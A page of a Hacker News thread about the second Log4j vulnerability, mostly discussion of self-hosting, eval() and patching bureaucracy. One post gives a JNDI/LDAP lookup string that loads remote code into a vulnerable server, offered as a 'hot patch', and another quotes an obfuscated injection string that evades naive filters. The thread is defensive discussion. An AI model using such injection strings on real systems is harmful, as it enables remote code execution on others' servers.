Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

271–280 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#271

Post by cube00 »

omnicognate wrote: post #75
cube00 wrote: post #35

Earlier quoted context omitted.

This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.

Nothing I self-host on my home network is exposed to the public internet. I use Wireguard to access the home network remotely.

Unfortunately that's not an option for me because I host a mail server which needs port 25 open to the world.

Re: Log4Shell update: second Log4j vulnerability published

#272

Post by dylan604 »

jacquesm wrote: post #233
dylan604 wrote: post #226

Earlier quoted context omitted.

No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up…

Even for a honeypot?

ugh, now you're going to make me feel dirty for saying maybe

are you running honeypot as white hat to attract "bad guys" to then flip the table?

if you're a black hat trying to do bad then you already don't care about morals, so the question is pointless.

Re: Log4Shell update: second Log4j vulnerability published

#273

Post by shakna »

jatone wrote: post #215
shakna wrote: post #169

Earlier quoted context omitted.

In an org that named their servers after planets, we turned off "Mars" (which was actually completely and utterly undocumented) and discovered it was the bridge between the intranet and the internet. However, upon turning it back on... Nothing came up again. There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - do…

future reference: next time just firewall the network and see what blows up rofl.

The story with Mars is quite a bit more complicated than I've written, but we did scan it, and then try and isolate it, for a few weeks before we tried the restart. Let's just say there was a lot of redundancy that only broke once it couldn't ping at a very specific time.

Re: Log4Shell update: second Log4j vulnerability published

#275

Post by HappyDreamer »

qalmakka wrote: post #228
adambatkin wrote: post #182

Earlier quoted context omitted.

Maybe your opinion is unpopular for a reason. C and C++ has always suffered from the ability to corrupt some memory (like overrun a buffer) and jump into and start executing some user-provided arbitrary data. Perl/Python/Ruby/PHP and friends all have eval() which is even easier to exploit. Rust and maybe Go are much in this respect (because in most cases you need to deliberately mark a piece of code as unsafe before…

The difference is that being pwned by a random memory corruption, while unfortunate, is an unintended feature. This on the other hand provides a deliberate, standardized and convenient way to allow anyone to download *any* arbitrary code into a running JVM. This is something that it is NEVER ok, not in any form or fashion, not even your own network unless you enable some huge debug flag, and it's WAY worse than eval(…

A bit hyperbole? Agreed that these features should be off by default, or removed -- maybe could be included only in a special JVM build,

Still, in Python you can GET and eval:

    r = urllib.request.urlopen(url).read()
    d = literal_eval(r.decode())
Here's someone "Fetching and evaluating Python code from an HTTP response":

https://stackoverflow.com/questions/28047761/fetching-and-ev...

Edit: Apparently `literal_eval` isn't so dangerous -- but one could replace it with `eval()`. /Edit

But you didn't start writing "absolutely insane" about Python ... Or maybe Python too is insane? And there should be a separate Python executable, with eval included?

What if Python shipped 2 executables?

    python   # there's no eval()
    python-with-eval    # danger! now you can use eval()
(And Java as well: `java` couldn't load any code dynamically, but `java-danger-dyn-code` could?)

Re: Log4Shell update: second Log4j vulnerability published

#276

Post by freeqaz »

freeqaz wrote: post #140
freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep! Good night, y'all. :) 0: https://www.lunasec.io/docs/blog/log4she…

Here is said technical deep dive: https://www.lunasec.io/docs/blog/log4shell-live-patch-techni...

I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!

Re: Log4Shell update: second Log4j vulnerability published

#277

Post by freeqaz »

jfoutz wrote: post #139
bzzzt wrote: post #133

Earlier quoted context omitted.

* That class needs to be on the server already. The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.

OH Yes! 100% this. The JVM itself is a huge, sprawling beast. Adding in an extra 1000 libraries makes that surface area 1000 times worse. There is probably a way to exfiltrate a list of loaded classes via the exploit. (I can't think of one, but I believe there's a good chance such a thing exists). You could also just try looking for one of the zillion known bad classes. I wanted to highlight that you're really lookin…

Reading this thread gives me energy to keep working on these posts. It's a massive PITA reading through enterprise Java code to be able to accurately explain this Log4j exploit stuff. It makes me happy that y'all are able to have a conversation on the internet because of it and share your ideas about how to exploit it all for RCE!

I feel like with security stuff, awareness is 95% if the battle. So if people get excited and start thinking about how they'd implement a prototype themselves... that's pretty great. It gives me hope that perhaps this world of dependency hell that we're in right now might eventually go away.

I'm definitely a bit of an idealistic person as a dev. Maybe an optimist is the better word? I just want to try to fix these problems and hope that my contributions help. Sometimes it's brutal and exhaust and... this week has been an epic grind.

But that's what it takes to make a difference sometimes, and I'm glad y'all are appreciating the effort. Thanks for the kind words.

Re: Log4Shell update: second Log4j vulnerability published

#278

Post by JulianMorrison »

wara23arish wrote: post #196
boublepop wrote: post #80

Earlier quoted context omitted.

It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in…

Literally happened to me the other day. Not sure though how I can make a difference when the vendor and manager seem to be buddies and any criticism of the tool falls on death ears.

Talk about the money you'll lose when you get hacked.

Re: Log4Shell update: second Log4j vulnerability published

#279

Post by jgrahamc »

jrochkind1 wrote: post #225

I just saw a fun user-agent string in my (not log4j!) logs. In case anyone thought they could buy themselves some time with a naive filter on the string "${jndi" in front of your app or something, enjoy the user-agent string beginning: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p} ... Which I assume is a form of escaping/embedding which will work on at least some log4j's, although that's just an assumpt…

https://blog.cloudflare.com/exploitation-of-cve-2021-44228-b...

Re: Log4Shell update: second Log4j vulnerability published

#280

Post by m12k »

baq wrote: post #246
hu3 wrote: post #223

Earlier quoted context omitted.

That was covered with eval() which is an intentional feature. > Perl/Python/Ruby/PHP and friends all have eval()...

there is no eval_from_url(), though.

Oh that's neat - let's make a format string shorthand for eval_from_url() so it's easier to interface with, e.g. from a logging framework.
Post reply on HN